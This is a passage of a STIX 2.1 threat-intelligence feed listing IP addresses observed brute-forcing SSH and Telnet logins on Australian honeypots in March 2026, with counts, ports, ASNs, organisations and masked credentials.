      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******r, 1****9, 1******x, 3***********4, 3**********4.",
      "id": "indicator--f878f247-b66d-459d-a0a7-bd5f0a6baea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.74.71.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-26T23:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): q********5.",
      "id": "indicator--73b67d0c-0567-4f99-aaad-9b558dc0ae01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T23:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.191.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T23:15:06.000Z",
      "valid_until": "2026-04-27T23:15:02.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--8879f483-e7c9-4b0d-8168-ece18627b331",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.224.251.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******., 1**********x, 2****2, 3***********4, 3**********4.",
      "id": "indicator--0ddaa3df-fbe2-4a82-9afa-51e7196d5cff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.166.49.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--01e9ae45-f7af-4791-8215-08c08a594f14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.56.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--049f13dd-07b1-467a-9f0b-ab3741563dc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.40.117.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3cdc9614-37b2-428c-be03-ed257dfb72ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.156.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--73634f62-64f0-409e-9de2-6827368f66db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.106.49.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 199785. Organisation(s): Cloud Hosting Solutions, Limited.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*********1, A***************5, H*********%.",
      "id": "indicator--d631a34c-c809-4ffb-812c-169d3b424d67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.193.4.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 174. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, u**r, ***. Passwords observed (masked): 1**4, 0**************D, 1**1, 1***5, 1****6.",
      "id": "indicator--1e9583e7-9fc5-404c-a1ee-c347bbb8de6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.4.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 245. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, 1**4, a***n. Passwords observed (masked): a***n, a******3, p******d, 1**4, 1***5.",
      "id": "indicator--540f19dd-99c6-4360-89e5-258985bf6688",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.46.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****#, 1********z, 1******x, 3***********4, 3**********4.",
      "id": "indicator--f3d1a0ab-a708-444e-959e-f9c0ae93df5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.124.148.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T00:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FI. ASN(s): 1759. Organisation(s): Telia Finland Oyj.",
      "id": "indicator--dc3ba836-dbc2-4271-9f39-16e924ebd816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T00:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.223.171.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T00:15:03.000Z",
      "valid_until": "2026-04-28T00:15:01.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--eeb5fb94-0639-455b-8dd0-4d50d65e967d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '100.48.87.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50053. Organisation(s): Anton Levin. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*******3, a******r, m*****x.",
      "id": "indicator--e29076c6-cc12-4802-b0fc-714238684fd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.80.87.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): m****e.",
      "id": "indicator--ab97541b-ecf3-4d90-9cec-89091c4c41e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.33.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--6b0d5ef1-c30f-41bb-83ca-3e15bfc24f6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.144.31.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--79d4cc36-3e9f-41e8-9a0f-2c94aba48e48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c52ed071-a139-4c3d-b2d3-2e5b3f0c510b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.204.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 115. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , \u0000********************************************************\r, \u0000**************************************************************************************************************\r, \u0000**********************************************************************\r, \u0000**********************************************************************\r. Passwords observed (masked): , -***************************7, **, \u0000**********************************************************************************\r, \u0000**********************************************************************************************************************\r.",
      "id": "indicator--928fc48e-1bb3-4c00-93bd-ad63ac9c9d22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.15.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28166. Organisation(s): Telecom South America Ltda.",
      "id": "indicator--c6daf10b-18cb-437e-8bf1-1c3c7f785cb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.46.128.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f0c1d63c-aa3f-4bca-b37d-e16453a4da87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:15:05.000Z",
      "valid_until": "2026-04-28T01:15:03.000Z"
    },
    {
      "created": "2026-03-27T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 3***********4, 3**********4, A*********!, A*****3.",
      "id": "indicator--e2ac1fc2-d2cd-4b09-a09d-5a34f0aaf472",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.161.22.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T02:15:03.000Z",
      "valid_until": "2026-04-28T02:15:01.000Z"
    },
    {
      "created": "2026-03-27T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A.. Usernames observed (masked): r**t. Passwords observed (masked): J*********9.",
      "id": "indicator--18c1d702-5c7a-43db-9463-8b4558804c94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.19.136.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T02:15:03.000Z",
      "valid_until": "2026-04-28T02:15:01.000Z"
    },
    {
      "created": "2026-03-27T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t. Passwords observed (masked): A******1, P********3, v*****3.",
      "id": "indicator--2b4596bd-f977-4716-9ea7-b308ec247257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.19.5.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T02:15:03.000Z",
      "valid_until": "2026-04-28T02:15:01.000Z"
    },
    {
      "created": "2026-03-27T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 61768. Organisation(s): NET INFINITO INTERNET FIBRA OPTICA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****^, 3***********4, 3**********4, K*******1, P***********5.",
      "id": "indicator--b6b8de88-22a4-40ed-8ae7-e77caf6f8683",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.24.69.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T02:15:03.000Z",
      "valid_until": "2026-04-28T02:15:01.000Z"
    },
    {
      "created": "2026-03-27T02:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--6f5fdb35-ec76-492c-84f0-b33964feef9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.182.2.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T02:15:03.000Z",
      "valid_until": "2026-04-28T02:15:01.000Z"
    },
    {
      "created": "2026-03-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dea89b7c-9934-47f5-9b12-fbdae43eddf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.213.112.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T03:15:11.000Z",
      "valid_until": "2026-04-28T03:15:01.000Z"
    },
    {
      "created": "2026-03-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e387a92a-8b5d-4a3e-ba72-b5b8d91f6667",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.170.244.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T03:15:11.000Z",
      "valid_until": "2026-04-28T03:15:01.000Z"
    },
    {
      "created": "2026-03-27T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): Z**********3.",
      "id": "indicator--9c4a693c-3333-440e-a562-c99e66c01423",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.184.176.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T03:15:11.000Z",
      "valid_until": "2026-04-28T03:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 213887. Organisation(s): WAIcore Ltd. Usernames observed (masked): . Passwords observed (masked): **.",
      "id": "indicator--7ea83c7b-8f7f-4ed3-867c-48fe3578571c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.122.198.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--58b48080-9b27-4ff5-832c-0acbe6fb2b1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.132.13.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ddedb625-adff-4f76-b62c-2ad01aacba3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.49.30.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch.",
      "id": "indicator--6af900c1-4fc0-489b-88c4-3cb38f976e3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
